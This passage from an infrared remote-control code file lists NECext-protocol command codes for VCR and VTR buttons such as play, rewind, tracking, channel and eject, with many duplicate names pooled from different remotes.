NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: S._TRACKING_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: TRACKING_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: VCR1_TRACKING_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: VCR1_AUTO_TRK_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: VCR1_MANUAL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: VTR1_TRACKING_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: TRACKING_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 00 00 00 00 +# +name: TRACKING_-_DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: S._TRACKING_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: TRACKING_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: VCR1_TRACKING_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: VCR1_AUTO_TRK_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: VCR1_MANUAL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: VTR1_TRACKING_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: TRACKING_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 01 00 00 00 +# +name: SPEED_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VCR1_SLOW_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VARIABLE_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VCR1_SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VCR1_SLOW_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VTR1_SLOW_SPEED_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: VCR1_SLOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 02 00 00 00 +# +name: SPEED_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: VCR1_SLOW_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: VARIABLE_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: VCR1_SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: VCR1_SLOW_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: VTR1_SLOW_SPEED_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 03 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VTR_8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 8_(AM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR1_8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 8_VWX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR_8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR1_8_(AM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VTR1_8_(T_U_V_AM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR_8_(AM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VCR1_8_AM +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VTR_9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: 9_(PM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR1_9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: 9_YZ. +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR1_9_(PM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VTR1_9_(W_X_Y_PM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR_9_(PM) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: VCR1_9_PM +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: 100_ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: 100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: 100+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: VCR1_100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: VCR_100/ENT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 06 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VTR_FFWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: FFWD/SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_FFWD>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_FFWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: FF/VISUAL_SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: FFWD/VI.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR_FFWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR_F.FWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_FF/V.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: F.FWD/VI.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_F.FWD/V.SRCH +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_F.FWD/SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR1_F.FWD_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VTR1_FF/VI.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: F.FWD/VISUAL_SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VCR_FFWD_>>/>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VTR_REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: REW/SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR1_REW<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR1_REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: REW/VISUAL_SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: REW/VI.SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR1_REW/V.SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR1_REW/VISUAL_SRCH +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR1_REW/SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VTR1_REW/VI.SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VCR_REW_< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: F_ADV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: VCR1_F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: VCR1_SKIP/F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: VCR1_F.ADV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: VTR1_F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: VCR1_F_ADV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: STILL_F.ADV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: VCR1_SLOW_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: VCR1_SLOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: VTR1_SLOW +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 11 00 00 00 +# +name: X2_FAST +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 12 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 12 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VTR_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VCR1_PLAY> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VCR1_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VTR1_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: VCR1_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: VTR1_UNKNOWN_2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: VCR1_CH1/2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: VCR1_MONITOR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 15 00 00 00 +# +name: VCR_TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR1_VCR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VTR_VTR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VTR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VTR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR_VCR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VTR1_UNKNOWN_1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR1_TV/VCR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VTR_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VCR1_OPERATE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VCR1_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VTR1_OPERATE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_-- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VTR_CHANNEL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: V_(CHANNEL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_V_(AUX) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHAN_- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR1_CH_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR_CH_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR1_CHANNEL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VTR1_TV_PROGRAMME_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VCR_CHANNEL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VTR_CHANNEL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: ^_(CHANNEL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_^_(AUX) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CHAN_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR1_CH_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR_CH_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR1_CHANNEL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VTR1_TV_PROGRAMME_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: VCR_CHANNEL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VTR_PAUSE_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VCR1_PAUSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VCR1_PAUSE_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VCR_PAUSE_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VCR1_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VTR1_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1B 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VTR_4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: 4_(WED) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VCR1_4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: 4_JKL +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VCR_4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VTR1_4_(G_H_I_WKL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VCR1_4_(DAILY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VTR_5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: 5_(THU) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR1_5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: 5_MNO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR_5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR1_5_(DAILY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VTR1_5_(J_K_L) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR_5_(DAILY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VCR1_5_DAILY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VTR_6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 6_(FRI) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6_(CL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 6_PQR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR_6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6_PL +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 6_PL +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6_(WEEKLY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6_(PL) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VTR1_6_(M_N_O) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR_6_(WEEKLY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VCR1_6_WEEKLY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VTR_7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: 7_(SAT) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VCR1_7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: 7_STU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VCR_7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VTR1_7_(P_R_S_DLY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: VCR1_7_(WEEKLY) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: ART +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 20 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 21 00 00 00 +# +name: PNP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 22 00 00 00 +# +name: P_IN_P +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 22 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 23 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 26 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 27 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 2A 00 00 00 +# +name: VCR1_A.DUB +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 2C 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 30 00 00 00 +# +name: VCR1_T.SPEED +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 30 00 00 00 +# +name: VCR1_TAPE_SPEED +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 30 00 00 00 +# +name: VCR1_SP/EP +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 30 00 00 00 +# +name: VTR1_TAPE_SPEED +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 30 00 00 00 +# +name: AVX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VCR1_AUX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VCR1_AVX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VCR_AVX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VCR1_INPUT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VTR1_TRANS_(AUX) +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 34 00 00 00 +# +name: VCR1_MTS_MONO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 38 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 39 00 00 00 +# +name: VCR1_EJECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 39 00 00 00 +# +name: VTR1_EJECT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 39 00 00 00 +# +name: VCR1_V.DUB +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3A 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3B 00 00 00 +# +name: VCR1_GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3B 00 00 00 +# +name: INTELASCAN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3B 00 00 00 +# +name: TRACKING_-_AUTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: VCR1_AUTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: VCR1_TRACKING_AUTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: VTR1_AUTO +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: VCR1_AUTO_TRACKING +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 3E 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: VCR1_MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: VCR1_GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: VCR_GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: VTR1_MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: SCREEN_MENU +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR1_0000 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR1_CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR_CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR1_CLEAR_CNT_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: CLEAR_COUNT_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR1_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VTR1_COUNTER_0000 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: VCR1_T-160_RESET +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: VCR1_DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: VCR_DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: VTR1_DISP. +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: SCREEN_DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: DISPLY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 43 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: VCR1_MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: VCR1_TAPE_RETURN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: 